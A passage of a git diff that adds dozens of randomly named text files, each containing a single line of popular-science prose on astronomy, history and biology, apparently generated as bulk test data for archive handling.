diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_pesmwwzdrcxchziixqonn.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_pesmwwzdrcxchziixqonn.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_pesmwwzdrcxchziixqonn.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_phjeigmvzxzefhdsaxj.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_phjeigmvzxzefhdsaxj.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_phjeigmvzxzefhdsaxj.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_qejwurrxzlahgxkcmsde.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_qejwurrxzlahgxkcmsde.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_qejwurrxzlahgxkcmsde.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_qgikhjyih.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_qgikhjyih.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_qgikhjyih.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_swixzavrbbzvt.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_swixzavrbbzvt.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_swixzavrbbzvt.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_ujexydiqafphymzlqoodx.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_ujexydiqafphymzlqoodx.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_ujexydiqafphymzlqoodx.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_updoegvyxpaphlzefqzksm.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_updoegvyxpaphlzefqzksm.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_updoegvyxpaphlzefqzksm.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wcujdfbyjopwc.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wcujdfbyjopwc.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wcujdfbyjopwc.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wghzjuphgqgcoiljujqhrmm.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wghzjuphgqgcoiljujqhrmm.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wghzjuphgqgcoiljujqhrmm.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wkhfjcmdtptuvpslepnxnp.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wkhfjcmdtptuvpslepnxnp.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wkhfjcmdtptuvpslepnxnp.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wrrmtxhgzovdtqint.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wrrmtxhgzovdtqint.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wrrmtxhgzovdtqint.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wsfkpzpacpx.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wsfkpzpacpx.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wsfkpzpacpx.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wwmlvlwkhvbktkbc.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wwmlvlwkhvbktkbc.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wwmlvlwkhvbktkbc.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wyoefasdxadfmmw.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wyoefasdxadfmmw.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_wyoefasdxadfmmw.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/btbhslnvqqyopurnys.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/btbhslnvqqyopurnys.txt
new file mode 100644
index 0000000..d2dd1bb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/btbhslnvqqyopurnys.txt
@@ -0,0 +1 @@
+communicate must have decreased steadily. Two hundred years ago, a typical distance
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/epaxcmqivfaabi.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/epaxcmqivfaabi.txt
new file mode 100644
index 0000000..d949e3e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/epaxcmqivfaabi.txt
@@ -0,0 +1 @@
+round them and much of it devastated.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/etywttmitvstde.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/etywttmitvstde.txt
new file mode 100644
index 0000000..7abc5b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/etywttmitvstde.txt
@@ -0,0 +1 @@
+to national security was being perpetrated. In Greece, Egypt and Czechoslovakia our film
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/eyrafqngxzpov.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/eyrafqngxzpov.txt
new file mode 100644
index 0000000..cfc9ba8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/eyrafqngxzpov.txt
@@ -0,0 +1 @@
+92. Other elements are less familiar - hafnium, erbium, dysprosium and praseodymium,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_awuiyebkhxpzktvhbl.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_awuiyebkhxpzktvhbl.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_awuiyebkhxpzktvhbl.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_bjsykqsrsnznsq.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_bjsykqsrsnznsq.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_bjsykqsrsnznsq.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_cdbzzcwkmslkazjg.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_cdbzzcwkmslkazjg.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_cdbzzcwkmslkazjg.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_cdsuumepljjpjchawevxdd.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_cdsuumepljjpjchawevxdd.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_cdsuumepljjpjchawevxdd.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_egjxafkfowc.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_egjxafkfowc.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_egjxafkfowc.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_fmquyopzelsqvyqnghc.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_fmquyopzelsqvyqnghc.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_fmquyopzelsqvyqnghc.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_inooyubeus.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_inooyubeus.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_inooyubeus.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_jwmfcievroojle.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_jwmfcievroojle.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_jwmfcievroojle.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_kjldhaqrdpgvgvs.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_kjldhaqrdpgvgvs.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_kjldhaqrdpgvgvs.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_lgbzhudze.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_lgbzhudze.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_lgbzhudze.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_lqpoirszcvtmydjzt.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_lqpoirszcvtmydjzt.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_lqpoirszcvtmydjzt.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_mclkjopjlqywppxwqt.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_mclkjopjlqywppxwqt.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_mclkjopjlqywppxwqt.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_njiuynvp.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_njiuynvp.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_njiuynvp.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_nmlhxcljo.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_nmlhxcljo.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_nmlhxcljo.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_nrrvmtwnt.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_nrrvmtwnt.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_nrrvmtwnt.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_oftsdzlclpbjcqu.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_oftsdzlclpbjcqu.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_oftsdzlclpbjcqu.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_rhbfwrqwreqpacqrwd.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_rhbfwrqwreqpacqrwd.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_rhbfwrqwreqpacqrwd.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_uovryvfkhzgjaykbf.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_uovryvfkhzgjaykbf.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_uovryvfkhzgjaykbf.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_vhbpioriycbxfs.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_vhbpioriycbxfs.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_vhbpioriycbxfs.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_vqmwehjkbzkhpdoxpzmhu.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_vqmwehjkbzkhpdoxpzmhu.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_vqmwehjkbzkhpdoxpzmhu.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_wydcgstjixocikrelfvul.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_wydcgstjixocikrelfvul.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_wydcgstjixocikrelfvul.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_zwdcqjizfubamfzxbtwxqunf.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_zwdcqjizfubamfzxbtwxqunf.txt
new file mode 100644
index 0000000..4458208
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/file_zwdcqjizfubamfzxbtwxqunf.txt
@@ -0,0 +1 @@
+to Earth. We are used to radio signals transmitted by some varieties of intelligent life -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/gqnkidrchbsbkvlgauj.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/gqnkidrchbsbkvlgauj.txt
new file mode 100644
index 0000000..fc6a62b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/gqnkidrchbsbkvlgauj.txt
@@ -0,0 +1 @@
+a potent catalyst for combining amino acids into longer chain molecules resembling
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/hqgtascwyzchvsumq.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/hqgtascwyzchvsumq.txt
new file mode 100644
index 0000000..87ae7b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/hqgtascwyzchvsumq.txt
@@ -0,0 +1 @@
+character-building experience. If we are to survive, our loyalties must be broadened further,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/mpqzsuohfpnz.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/mpqzsuohfpnz.txt
new file mode 100644
index 0000000..d526667
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/mpqzsuohfpnz.txt
@@ -0,0 +1 @@
+bees. Shapley had found a stellar standard candle, a star noticeable because of its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/osazweuedv.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/osazweuedv.txt
new file mode 100644
index 0000000..37b0f85
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/osazweuedv.txt
@@ -0,0 +1 @@
+connected can hardly also be greatly separated from each other - in some cases by a billion
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/qxpndesor.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/qxpndesor.txt
new file mode 100644
index 0000000..8f88d82
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/qxpndesor.txt
@@ -0,0 +1 @@
+did they have the spacing between their orbits that Copernicus had deduced? No one had
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/rayuyglwbfafzii.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/rayuyglwbfafzii.txt
new file mode 100644
index 0000000..1f9007d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/rayuyglwbfafzii.txt
@@ -0,0 +1 @@
+replication if the enzyme DNA polymerase makes a mistake. But it rarely makes a mistake.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/rmqmzzlqmhhxcvhisgyaz.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/rmqmzzlqmhhxcvhisgyaz.txt
new file mode 100644
index 0000000..4d1df18
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/rmqmzzlqmhhxcvhisgyaz.txt
@@ -0,0 +1 @@
+believe our future depends on how well we know this Cosmos in which we float like a mote
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/sexkqkasuehpkklcw.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/sexkqkasuehpkklcw.txt
new file mode 100644
index 0000000..540698c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/sexkqkasuehpkklcw.txt
@@ -0,0 +1 @@
+happened.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/spadkldza.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/spadkldza.txt
new file mode 100644
index 0000000..4820386
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/folder_tdzbnostoa/spadkldza.txt
@@ -0,0 +1 @@
+fire? The Sun warms us and feeds us and permits us to see. It fecundated the Earth. It is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_cwmdsfwqbcelapmjxaojymjb.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_cwmdsfwqbcelapmjxaojymjb.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_cwmdsfwqbcelapmjxaojymjb.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_dbgwujsxqj.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_dbgwujsxqj.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_dbgwujsxqj.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_dfkihvkjtfymtahbjctduhln.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_dfkihvkjtfymtahbjctduhln.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_dfkihvkjtfymtahbjctduhln.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_kzsgpgsdi.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_kzsgpgsdi.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_kzsgpgsdi.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_lzkmulnibvd.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_lzkmulnibvd.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_lzkmulnibvd.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_ottknknzhueezpznmbhwq.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_ottknknzhueezpznmbhwq.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
